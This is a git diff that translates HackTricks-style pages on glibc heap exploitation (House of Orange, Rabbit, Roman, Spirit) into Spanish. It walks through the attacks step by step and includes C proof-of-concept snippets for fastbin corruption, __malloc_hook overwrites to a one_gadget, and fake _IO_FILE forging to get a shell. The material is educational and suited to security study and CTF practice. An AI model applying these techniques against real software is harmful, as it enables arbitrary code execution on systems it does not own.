leer/escribir punteros dentro de él. -## References +## Referencias - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_lore/) - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore](https://heap-exploitation.dhavalkapil.com/attacks/house_of_lore) diff --git a/src/binary-exploitation/libc-heap/house-of-orange.md b/src/binary-exploitation/libc-heap/house-of-orange.md index e57f477c6..6b105d874 100644 --- a/src/binary-exploitation/libc-heap/house-of-orange.md +++ b/src/binary-exploitation/libc-heap/house-of-orange.md @@ -2,72 +2,72 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Code +### Código -- Find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) - - The exploitation technique was fixed in this [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) so this is no longer working (working in earlier than 2.26) -- Same example **with more comments** in [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) +- Encuentra un ejemplo en [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c) +- La técnica de explotación fue corregida en este [patch](https://sourceware.org/git/?p=glibc.git;a=blobdiff;f=stdlib/abort.c;h=117a507ff88d862445551f2c07abb6e45a716b75;hp=19882f3e3dc1ab830431506329c94dcf1d7cc252;hb=91e7cf982d0104f0e71770f5ae8e3faf352dea9f;hpb=0c25125780083cbba22ed627756548efe282d1a0) así que esto ya no funciona (funcionando en versiones anteriores a 2.26) +- Mismo ejemplo **con más comentarios** en [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) -### Goal +### Objetivo -- Abuse `malloc_printerr` function +- Abusar de la función `malloc_printerr` -### Requirements +### Requisitos -- Overwrite the top chunk size -- Libc and heap leaks +- Sobrescribir el tamaño del chunk superior +- Fugas de libc y heap -### Background +### Antecedentes -Some needed background from the comments from [**this example**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** +Algunos antecedentes necesarios de los comentarios de [**este ejemplo**](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html)**:** -Thing is, in older versions of libc, when the `malloc_printerr` function was called it would **iterate through a list of `_IO_FILE` structs stored in `_IO_list_all`**, and actually **execute** an instruction pointer in that struct.\ -This attack will forge a **fake `_IO_FILE` struct** that we will write to **`_IO_list_all`**, and cause `malloc_printerr` to run.\ -Then it will **execute whatever address** we have stored in the **`_IO_FILE`** structs jump table, and we will get code execution +La cuestión es que, en versiones anteriores de libc, cuando se llamaba a la función `malloc_printerr`, **iteraba a través de una lista de estructuras `_IO_FILE` almacenadas en `_IO_list_all`**, y realmente **ejecutaba** un puntero de instrucción en esa estructura.\ +Este ataque forjará una **estructura `_IO_FILE` falsa** que escribiremos en **`_IO_list_all`**, y hará que `malloc_printerr` se ejecute.\ +Luego **ejecutará cualquier dirección** que hayamos almacenado en la tabla de saltos de las estructuras **`_IO_FILE`**, y obtendremos ejecución de código. -### Attack +### Ataque -The attack starts by managing to get the **top chunk** inside the **unsorted bin**. This is achieved by calling `malloc` with a size greater than the current top chunk size but smaller than **`mmp_.mmap_threshold`** (default is 128K), which would otherwise trigger `mmap` allocation. Whenever the top chunk size is modified, it's important to ensure that the **top chunk + its size** is page-aligned and that the **prev_inuse** bit of the top chunk is always set. +El ataque comienza al lograr obtener el **chunk superior** dentro del **bin no ordenado**. Esto se logra llamando a `malloc` con un tamaño mayor que el tamaño actual del chunk superior pero menor que **`mmp_.mmap_threshold`** (el valor predeterminado es 128K), lo que de otro modo activaría la asignación `mmap`. Siempre que se modifique el tamaño del chunk superior, es importante asegurarse de que el **chunk superior + su tamaño** esté alineado a página y que el bit **prev_inuse** del chunk superior esté siempre establecido. -To get the top chunk inside the unsorted bin, allocate a chunk to create the top chunk, change the top chunk size (with an overflow in the allocated chunk) so that **top chunk + size** is page-aligned with the **prev_inuse** bit set. Then allocate a chunk larger than the new top chunk size. Note that `free` is never called to get the top chunk into the unsorted bin. +Para obtener el chunk superior dentro del bin no ordenado, asigna un chunk para crear el chunk superior, cambia el tamaño del chunk superior (con un desbordamiento en el chunk asignado) de modo que **chunk superior + tamaño** esté alineado a página con el bit **prev_inuse** establecido. Luego asigna un chunk más grande que el nuevo tamaño del chunk superior. Ten en cuenta que `free` nunca se llama para llevar el chunk superior al bin no ordenado. -The old top chunk is now in the unsorted bin. Assuming we can read data inside it (possibly due to a vulnerability that also caused the overflow), it’s possible to leak libc addresses from it and get the address of **\_IO_list_all**. +El antiguo chunk superior ahora está en el bin no ordenado. Suponiendo que podemos leer datos dentro de él (posiblemente debido a una vulnerabilidad que también causó el desbordamiento), es posible filtrar direcciones de libc desde él y obtener la dirección de **\_IO_list_all**. -An unsorted bin attack is performed by abusing the overflow to write `topChunk->bk->fwd = _IO_list_all - 0x10`. When a new chunk is allocated, the old top chunk will be split, and a pointer to the unsorted bin will be written into **`_IO_list_all`**. +Se realiza un ataque de bin no ordenado abusando del desbordamiento para escribir `topChunk->bk->fwd = _IO_list_all - 0x10`. Cuando se asigna un nuevo chunk, el antiguo chunk superior se dividirá, y un puntero al bin no ordenado se escribirá en **`_IO_list_all`**. -The next step involves shrinking the size of the old top chunk to fit into a small bin, specifically setting its size to **0x61**. This serves two purposes: +El siguiente paso implica reducir el tamaño del antiguo chunk superior para que quepa en un bin pequeño, específicamente estableciendo su tamaño en **0x61**. Esto sirve para dos propósitos: -1. **Insertion into Small Bin 4**: When `malloc` scans through the unsorted bin and sees this chunk, it will try to insert it into small bin 4 due to its small size. This makes the chunk end up at the head of the small bin 4 list which is the location of the FD pointer of the chunk of **`_IO_list_all`** as we wrote a close address in **`_IO_list_all`** via the unsorted bin attack. -2. **Triggering a Malloc Check**: This chunk size manipulation will cause `malloc` to perform internal checks. When it checks the size of the false forward chunk, which will be zero, it triggers an error and calls `malloc_printerr`. +1. **Inserción en Small Bin 4**: Cuando `malloc` escanea el bin no ordenado y ve este chunk, intentará insertarlo en el bin pequeño 4 debido a su pequeño tamaño. Esto hace que el chunk termine en la cabeza de la lista del bin pequeño 4, que es la ubicación del puntero FD del chunk de **`_IO_list_all`** ya que escribimos una dirección cercana en **`_IO_list_all`** a través del ataque de bin no ordenado. +2. **Activar una Verificación de Malloc**: Esta manipulación del tamaño del chunk hará que `malloc` realice verificaciones internas. Cuando verifica el tamaño del chunk falso hacia adelante, que será cero, activa un error y llama a `malloc_printerr`. -The manipulation of the small bin will allow you to control the forward pointer of the chunk. The overlap with **\_IO_list_all** is used to forge a fake **\_IO_FILE** structure. The structure is carefully crafted to include key fields like `_IO_write_base` and `_IO_write_ptr` set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code (e.g., the `system` function) can be executed. +La manipulación del bin pequeño te permitirá controlar el puntero hacia adelante del chunk. La superposición con **\_IO_list_all** se utiliza para forjar una estructura **\_IO_FILE** falsa. La estructura se elabora cuidadosamente para incluir campos clave como `_IO_write_base` y `_IO_write_ptr` establecidos en valores que pasan las verificaciones internas en libc. Además, se crea una tabla de saltos dentro de la estructura falsa, donde un puntero de instrucción se establece en la dirección donde se puede ejecutar código arbitrario (por ejemplo, la función `system`). -To summarize the remaining part of the technique: +Para resumir la parte restante de la técnica: -- **Shrink the Old Top Chunk**: Adjust the size of the old top chunk to **0x61** to fit it into a small bin. -- **Set Up the Fake `_IO_FILE` Structure**: Overlap the old top chunk with the fake **\_IO_FILE** structure and set fields appropriately to hijack execution flow. +- **Reducir el Antiguo Chunk Superior**: Ajustar el tamaño del antiguo chunk superior a **0x61** para que quepa en un bin pequeño. +- **Configurar la Estructura Falsa `_IO_FILE`**: Superponer el antiguo chunk superior con la estructura falsa **\_IO_FILE** y establecer los campos apropiadamente para secuestrar el flujo de ejecución. -The next step involves forging a fake **\_IO_FILE** structure that overlaps with the old top chunk currently in the unsorted bin. The first bytes of this structure are crafted carefully to include a pointer to a command (e.g., "/bin/sh") that will be executed. +El siguiente paso implica forjar una estructura falsa **\_IO_FILE** que se superponga con el antiguo chunk superior actualmente en el bin no ordenado. Los primeros bytes de esta estructura se elaboran cuidadosamente para incluir un puntero a un comando (por ejemplo, "/bin/sh") que se ejecutará. -Key fields in the fake **\_IO_FILE** structure, such as `_IO_write_base` and `_IO_write_ptr`, are set to values that pass internal checks in libc. Additionally, a jump table is created within the fake structure, where an instruction pointer is set to the address where arbitrary code can be executed. Typically, this would be the address of the `system` function or another function that can execute shell commands. +Los campos clave en la estructura falsa **\_IO_FILE**, como `_IO_write_base` y `_IO_write_ptr`, se establecen en valores que pasan las verificaciones internas en libc. Además, se crea una tabla de saltos dentro de la estructura falsa, donde un puntero de instrucción se establece en la dirección donde se puede ejecutar código arbitrario. Típicamente, esta sería la dirección de la función `system` u otra función que pueda ejecutar comandos de shell. -The attack culminates when a call to `malloc` triggers the execution of the code through the manipulated **\_IO_FILE** structure. This effectively allows arbitrary code execution, typically resulting in a shell being spawned or another malicious payload being executed. +El ataque culmina cuando una llamada a `malloc` activa la ejecución del código a través de la estructura manipulada **\_IO_FILE**. Esto permite efectivamente la ejecución de código arbitrario, lo que típicamente resulta en un shell que se genera o en otro payload malicioso que se ejecuta. -**Summary of the Attack:** +**Resumen del Ataque:** -1. **Set up the top chunk**: Allocate a chunk and modify the top chunk size. -2. **Force the top chunk into the unsorted bin**: Allocate a larger chunk. -3. **Leak libc addresses**: Use the vulnerability to read from the unsorted bin. -4. **Perform the unsorted bin attack**: Write to **\_IO_list_all** using an overflow. -5. **Shrink the old top chunk**: Adjust its size to fit into a small bin. -6. **Set up a fake \_IO_FILE structure**: Forge a fake file structure to hijack control flow. -7. **Trigger code execution**: Allocate a chunk to execute the attack and run arbitrary code. +1. **Configurar el chunk superior**: Asignar un chunk y modificar el tamaño del chunk superior. +2. **Forzar el chunk superior en el bin no ordenado**: Asignar un chunk más grande. +3. **Filtrar direcciones de libc**: Usar la vulnerabilidad para leer del bin no ordenado. +4. **Realizar el ataque de bin no ordenado**: Escribir en **\_IO_list_all** usando un desbordamiento. +5. **Reducir el antiguo chunk superior**: Ajustar su tamaño para que quepa en un bin pequeño. +6. **Configurar una estructura falsa \_IO_FILE**: Forjar una estructura de archivo falsa para secuestrar el flujo de control. +7. **Activar la ejecución de código**: Asignar un chunk para ejecutar el ataque y ejecutar código arbitrario. -This approach exploits heap management mechanisms, libc information leaks, and heap overflows to achieve code execution without directly calling `free`. By carefully crafting the fake **\_IO_FILE** structure and placing it in the right location, the attack can hijack the control flow during standard memory allocation operations. This enables the execution of arbitrary code, potentially resulting in a shell or other malicious activities. +Este enfoque explota mecanismos de gestión de heap, fugas de información de libc y desbordamientos de heap para lograr la ejecución de código sin llamar directamente a `free`. Al elaborar cuidadosamente la estructura falsa **\_IO_FILE** y colocarla en la ubicación correcta, el ataque puede secuestrar el flujo de control durante las operaciones estándar de asignación de memoria. Esto permite la ejecución de código arbitrario, lo que potencialmente resulta en un shell u otras actividades maliciosas. -## References +## Referencias - [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_orange/) - [https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html](https://guyinatuxedo.github.io/43-house_of_orange/house_orange_exp/index.html) diff --git a/src/binary-exploitation/libc-heap/house-of-rabbit.md b/src/binary-exploitation/libc-heap/house-of-rabbit.md index 230b7c63e..acbdfb151 100644 --- a/src/binary-exploitation/libc-heap/house-of-rabbit.md +++ b/src/binary-exploitation/libc-heap/house-of-rabbit.md @@ -2,110 +2,92 @@ {{#include ../../banners/hacktricks-training.md}} -### Requirements +### Requisitos -1. **Ability to modify fast bin fd pointer or size**: This means you can change the forward pointer of a chunk in the fastbin or its size. -2. **Ability to trigger `malloc_consolidate`**: This can be done by either allocating a large chunk or merging the top chunk, which forces the heap to consolidate chunks. +1. **Capacidad para modificar el puntero fd de fast bin o su tamaño**: Esto significa que puedes cambiar el puntero hacia adelante de un chunk en el fastbin o su tamaño. +2. **Capacidad para activar `malloc_consolidate`**: Esto se puede hacer al asignar un chunk grande o fusionar el chunk superior, lo que obliga al heap a consolidar chunks. -### Goals +### Objetivos -1. **Create overlapping chunks**: To have one chunk overlap with another, allowing for further heap manipulations. -2. **Forge fake chunks**: To trick the allocator into treating a fake chunk as a legitimate chunk during heap operations. +1. **Crear chunks superpuestos**: Para que un chunk se superponga con otro, permitiendo más manipulaciones del heap. +2. **Forjar chunks falsos**: Para engañar al asignador haciéndole tratar un chunk falso como un chunk legítimo durante las operaciones del heap. -## Steps of the attack +## Pasos del ataque -### POC 1: Modify the size of a fast bin chunk +### POC 1: Modificar el tamaño de un chunk de fast bin -**Objective**: Create an overlapping chunk by manipulating the size of a fastbin chunk. - -- **Step 1: Allocate Chunks** +**Objetivo**: Crear un chunk superpuesto manipulando el tamaño de un chunk de fastbin. +- **Paso 1: Asignar Chunks** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` +Asignamos dos bloques de 0x40 bytes cada uno. Estos bloques se colocarán en la lista de fast bin una vez liberados. -We allocate two chunks of 0x40 bytes each. These chunks will be placed in the fast bin list once freed. - -- **Step 2: Free Chunks** - +- **Paso 2: Liberar Bloques** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` +Liberamos ambos bloques, añadiéndolos a la lista fastbin. -We free both chunks, adding them to the fastbin list. - -- **Step 3: Modify Chunk Size** - +- **Paso 3: Modificar el Tamaño del Bloque** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` +Cambiamos los metadatos de tamaño de `chunk1` a 0xa1. Este es un paso crucial para engañar al asignador durante la consolidación. -We change the size metadata of `chunk1` to 0xa1. This is a crucial step to trick the allocator during consolidation. - -- **Step 4: Trigger `malloc_consolidate`** - +- **Paso 4: Activar `malloc_consolidate`** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` +Asignar un gran bloque activa la función `malloc_consolidate`, fusionando pequeños bloques en el fast bin. El tamaño manipulado de `chunk1` provoca que se superponga con `chunk2`. -Allocating a large chunk triggers the `malloc_consolidate` function, merging small chunks in the fast bin. The manipulated size of `chunk1` causes it to overlap with `chunk2`. +Después de la consolidación, `chunk1` se superpone con `chunk2`, lo que permite una mayor explotación. -After consolidation, `chunk1` overlaps with `chunk2`, allowing for further exploitation. +### POC 2: Modificar el puntero `fd` -### POC 2: Modify the `fd` pointer - -**Objective**: Create a fake chunk by manipulating the fast bin `fd` pointer. - -- **Step 1: Allocate Chunks** +**Objetivo**: Crear un bloque falso manipulando el puntero `fd` del fast bin. +- **Paso 1: Asignar Bloques** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` +**Explicación**: Asignamos dos bloques, uno más pequeño y uno más grande, para preparar el heap para el bloque falso. -**Explanation**: We allocate two chunks, one smaller and one larger, to set up the heap for the fake chunk. - -- **Step 2: Create fake chunk** - +- **Paso 2: Crear bloque falso** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` +Escribimos metadatos de chunk falsos en `chunk2` para simular chunks más pequeños. -We write fake chunk metadata into `chunk2` to simulate smaller chunks. - -- **Step 3: Free `chunk1`** - +- **Paso 3: Liberar `chunk1`** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` +**Explicación**: Liberamos `chunk1`, añadiéndolo a la lista fastbin. -**Explanation**: We free `chunk1`, adding it to the fastbin list. - -- **Step 4: Modify `fd` of `chunk1`** - +- **Paso 4: Modificar `fd` de `chunk1`** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` +**Explicación**: Cambiamos el puntero hacia adelante (`fd`) de `chunk1` para que apunte a nuestro chunk falso dentro de `chunk2`. -**Explanation**: We change the forward pointer (`fd`) of `chunk1` to point to our fake chunk inside `chunk2`. - -- **Step 5: Trigger `malloc_consolidate`** - +- **Paso 5: Activar `malloc_consolidate`** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` +Asignar un gran bloque nuevamente activa `malloc_consolidate`, que procesa el bloque falso. -Allocating a large chunk again triggers `malloc_consolidate`, which processes the fake chunk. +El bloque falso se convierte en parte de la lista fastbin, convirtiéndolo en un bloque legítimo para una mayor explotación. -The fake chunk becomes part of the fastbin list, making it a legitimate chunk for further exploitation. +### Resumen -### Summary - -The **House of Rabbit** technique involves either modifying the size of a fast bin chunk to create overlapping chunks or manipulating the `fd` pointer to create fake chunks. This allows attackers to forge legitimate chunks in the heap, enabling various forms of exploitation. Understanding and practicing these steps will enhance your heap exploitation skills. +La técnica **House of Rabbit** implica modificar el tamaño de un bloque fast bin para crear bloques superpuestos o manipular el puntero `fd` para crear bloques falsos. Esto permite a los atacantes forjar bloques legítimos en el heap, habilitando varias formas de explotación. Comprender y practicar estos pasos mejorará tus habilidades de explotación de heap. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/house-of-roman.md b/src/binary-exploitation/libc-heap/house-of-roman.md index a3deaf939..a3e6f269d 100644 --- a/src/binary-exploitation/libc-heap/house-of-roman.md +++ b/src/binary-exploitation/libc-heap/house-of-roman.md @@ -2,87 +2,82 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -This was a very interesting technique that allowed for RCE without leaks via fake fastbins, the unsorted_bin attack and relative overwrites. However it has ben [**patched**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). +Esta fue una técnica muy interesante que permitió RCE sin leaks a través de fastbins falsos, el ataque unsorted_bin y sobrescrituras relativas. Sin embargo, ha sido [**parcheada**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c). -### Code +### Código -- You can find an example in [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) +- Puedes encontrar un ejemplo en [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) -### Goal +### Objetivo -- RCE by abusing relative pointers +- RCE abusando de punteros relativos -### Requirements +### Requisitos -- Edit fastbin and unsorted bin pointers -- 12 bits of randomness must be brute forced (0.02% chance) of working +- Editar punteros de fastbin y unsorted bin +- 12 bits de aleatoriedad deben ser forzados (0.02% de probabilidad) de funcionar -## Attack Steps +## Pasos de Ataque -### Part 1: Fastbin Chunk points to \_\_malloc_hook +### Parte 1: Fastbin Chunk apunta a \_\_malloc_hook -Create several chunks: +Crea varios chunks: -- `fastbin_victim` (0x60, offset 0): UAF chunk later to edit the heap pointer later to point to the LibC value. -- `chunk2` (0x80, offset 0x70): For good alignment +- `fastbin_victim` (0x60, offset 0): Chunk UAF que se editará más tarde para apuntar al valor de LibC. +- `chunk2` (0x80, offset 0x70): Para una buena alineación - `main_arena_use` (0x80, offset 0x100) -- `relative_offset_heap` (0x60, offset 0x190): relative offset on the 'main_arena_use' chunk +- `relative_offset_heap` (0x60, offset 0x190): offset relativo en el chunk 'main_arena_use' -Then `free(main_arena_use)` which will place this chunk in the unsorted list and will get a pointer to `main_arena + 0x68` in both the `fd` and `bk` pointers. +Luego `free(main_arena_use)` que colocará este chunk en la lista no ordenada y obtendrá un puntero a `main_arena + 0x68` en ambos punteros `fd` y `bk`. -Now it's allocated a new chunk `fake_libc_chunk(0x60)` because it'll contain the pointers to `main_arena + 0x68` in `fd` and `bk`. - -Then `relative_offset_heap` and `fastbin_victim` are freed. +Ahora se asigna un nuevo chunk `fake_libc_chunk(0x60)` porque contendrá los punteros a `main_arena + 0x68` en `fd` y `bk`. +Luego se liberan `relative_offset_heap` y `fastbin_victim`. ```c /* Current heap layout: - 0x0: fastbin_victim - size 0x70 - 0x70: alignment_filler - size 0x90 - 0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) - 0x170: leftover_main - size 0x20 - 0x190: relative_offset_heap - size 0x70 +0x0: fastbin_victim - size 0x70 +0x70: alignment_filler - size 0x90 +0x100: fake_libc_chunk - size 0x70 (contains a fd ptr to main_arena + 0x68) +0x170: leftover_main - size 0x20 +0x190: relative_offset_heap - size 0x70 - bin layout: - fastbin: fastbin_victim -> relative_offset_heap - unsorted: leftover_main +bin layout: +fastbin: fastbin_victim -> relative_offset_heap +unsorted: leftover_main */ ``` +- `fastbin_victim` tiene un `fd` que apunta a `relative_offset_heap` +- `relative_offset_heap` es un offset de distancia desde `fake_libc_chunk`, que contiene un puntero a `main_arena + 0x68` +- Solo cambiando el último byte de `fastbin_victim.fd` es posible hacer que `fastbin_victim` apunte a `main_arena + 0x68` -- `fastbin_victim` has a `fd` pointing to `relative_offset_heap` -- `relative_offset_heap` is an offset of distance from `fake_libc_chunk`, which contains a pointer to `main_arena + 0x68` -- Just changing the last byte of `fastbin_victim.fd` it's possible to make `fastbin_victim points` to `main_arena + 0x68` +Para las acciones anteriores, el atacante necesita ser capaz de modificar el puntero fd de `fastbin_victim`. -For the previous actions, the attacker needs to be capable of modifying the fd pointer of `fastbin_victim`. +Entonces, `main_arena + 0x68` no es tan interesante, así que modifiquémoslo para que el puntero apunte a **`__malloc_hook`**. -Then, `main_arena + 0x68` is not that interesting, so lets modify it so the pointer points to **`__malloc_hook`**. +Nota que `__memalign_hook` generalmente comienza con `0x7f` y ceros antes de él, por lo que es posible falsificarlo como un valor en el fast bin `0x70`. Debido a que los últimos 4 bits de la dirección son **aleatorios**, hay `2^4=16` posibilidades para que el valor termine apuntando a donde nos interesa. Así que se realiza un ataque BF aquí para que el chunk termine como: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** -Note that `__memalign_hook` usually starts with `0x7f` and zeros before it, then it's possible to fake it as a value in the `0x70` fast bin. Because the last 4 bits of the address are **random** there are `2^4=16` possibilities for the value to end pointing where are interested. So a BF attack is performed here so the chunk ends like: **`0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23)`.** - -(For more info about the rest of the bytes check the explanation in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). If the BF don't work the program just crashes (so start gain until it works). - -Then, 2 mallocs are performed to remove the 2 initial fast bin chunks and the a third one is alloced to get a chunk in the **`__malloc_hook:`** +(Para más información sobre el resto de los bytes, consulta la explicación en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). Si el BF no funciona, el programa simplemente se bloquea (así que comienza de nuevo hasta que funcione). +Luego, se realizan 2 mallocs para eliminar los 2 chunks iniciales del fast bin y se asigna un tercero para obtener un chunk en el **`__malloc_hook:`** ```c malloc(0x60); malloc(0x60); uint8_t* malloc_hook_chunk = malloc(0x60); ``` +### Parte 2: Ataque Unsorted_bin -### Part 2: Unsorted_bin attack - -For more info you can check: +Para más información, puedes consultar: {{#ref}} unsorted-bin-attack.md {{#endref}} -But basically it allows to write `main_arena + 0x68` to any location by specified in `chunk->bk`. And for the attack we choose `__malloc_hook`. Then, after overwriting it we will use a relative overwrite) to point to a `one_gadget`. - -For this we start getting a chunk and putting it into the **unsorted bin**: +Pero básicamente permite escribir `main_arena + 0x68` en cualquier ubicación especificada en `chunk->bk`. Y para el ataque elegimos `__malloc_hook`. Luego, después de sobrescribirlo, utilizaremos una sobrescritura relativa para apuntar a un `one_gadget`. +Para esto, comenzamos obteniendo un chunk y colocándolo en el **unsorted bin**: ```c uint8_t* unsorted_bin_ptr = malloc(0x80); malloc(0x30); // Don't want to consolidate @@ -91,25 +86,24 @@ puts("Put chunk into unsorted_bin\n"); // Free the chunk to create the UAF free(unsorted_bin_ptr); ``` - -Use an UAF in this chunk to point `unsorted_bin_ptr->bk` to the address of `__malloc_hook` (we brute forced this previously). +Usa un UAF en este chunk para apuntar `unsorted_bin_ptr->bk` a la dirección de `__malloc_hook` (esto lo forzamos previamente). > [!CAUTION] -> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **alloc the same size or the program will crash.** +> Ten en cuenta que este ataque corrompe el bin no ordenado (por lo tanto, también el pequeño y el grande). Así que solo podemos **usar asignaciones del fast bin ahora** (un programa más complejo podría hacer otras asignaciones y fallar), y para activar esto debemos **asignar el mismo tamaño o el programa fallará.** -So, to trigger the write of `main_arena + 0x68` in `__malloc_hook` we perform after setting `__malloc_hook` in `unsorted_bin_ptr->bk` we just need to do: **`malloc(0x80)`** +Entonces, para activar la escritura de `main_arena + 0x68` en `__malloc_hook`, después de establecer `__malloc_hook` en `unsorted_bin_ptr->bk`, solo necesitamos hacer: **`malloc(0x80)`** -### Step 3: Set \_\_malloc_hook to system +### Paso 3: Establecer \_\_malloc_hook a system -In the step one we ended controlling a chunk containing `__malloc_hook` (in the variable `malloc_hook_chunk`) and in the second step we managed to write `main_arena + 0x68` in here. +En el primer paso terminamos controlando un chunk que contiene `__malloc_hook` (en la variable `malloc_hook_chunk`) y en el segundo paso logramos escribir `main_arena + 0x68` aquí. -Now, we abuse a partial overwrite in `malloc_hook_chunk` to use the libc address we wrote there(`main_arena + 0x68`) to **point a `one_gadget` address**. +Ahora, abusamos de una sobrescritura parcial en `malloc_hook_chunk` para usar la dirección de libc que escribimos allí (`main_arena + 0x68`) para **apuntar a una dirección de `one_gadget`**. -Here is where it's needed to **bruteforce 12 bits of randomness** (more info in the [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ example](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). +Aquí es donde es necesario **forzar 12 bits de aleatoriedad** (más información en el [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ ejemplo](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)). -Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**. +Finalmente, una vez que la dirección correcta es sobrescrita, **llama a `malloc` y activa el `one_gadget`**. -## References +## Referencias - [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap) - [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) diff --git a/src/binary-exploitation/libc-heap/house-of-spirit.md b/src/binary-exploitation/libc-heap/house-of-spirit.md index 1ce36fd14..210de1576 100644 --- a/src/binary-exploitation/libc-heap/house-of-spirit.md +++ b/src/binary-exploitation/libc-heap/house-of-spirit.md @@ -1,15 +1,14 @@ -# House of Spirit +# Casa del Espíritu {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -### Code +### Código
-House of Spirit - +Casa del Espíritu ```c #include #include @@ -19,99 +18,96 @@ // Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit struct fast_chunk { - size_t prev_size; - size_t size; - struct fast_chunk *fd; - struct fast_chunk *bk; - char buf[0x20]; // chunk falls in fastbin size range +size_t prev_size; +size_t size; +struct fast_chunk *fd; +struct fast_chunk *bk; +char buf[0x20]; // chunk falls in fastbin size range }; int main() { - struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory - void *ptr, *victim; +struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory +void *ptr, *victim; - ptr = malloc(0x30); +ptr = malloc(0x30); - printf("Original alloc address: %p\n", ptr); - printf("Main fake chunk:%p\n", &fake_chunks[0]); - printf("Second fake chunk for size: %p\n", &fake_chunks[1]); +printf("Original alloc address: %p\n", ptr); +printf("Main fake chunk:%p\n", &fake_chunks[0]); +printf("Second fake chunk for size: %p\n", &fake_chunks[1]); - // Passes size check of "free(): invalid size" - fake_chunks[0].size = sizeof(struct fast_chunk); +// Passes size check of "free(): invalid size" +fake_chunks[0].size = sizeof(struct fast_chunk); - // Passes "free(): invalid next size (fast)" - fake_chunks[1].size = sizeof(struct fast_chunk); +// Passes "free(): invalid next size (fast)" +fake_chunks[1].size = sizeof(struct fast_chunk); - // Attacker overwrites a pointer that is about to be 'freed' - // Point to .fd as it's the start of the content of the chunk - ptr = (void *)&fake_chunks[0].fd; +// Attacker overwrites a pointer that is about to be 'freed' +// Point to .fd as it's the start of the content of the chunk +ptr = (void *)&fake_chunks[0].fd; - free(ptr); +free(ptr); - victim = malloc(0x30); - printf("Victim: %p\n", victim); +victim = malloc(0x30); +printf("Victim: %p\n", victim); - return 0; +return 0; } 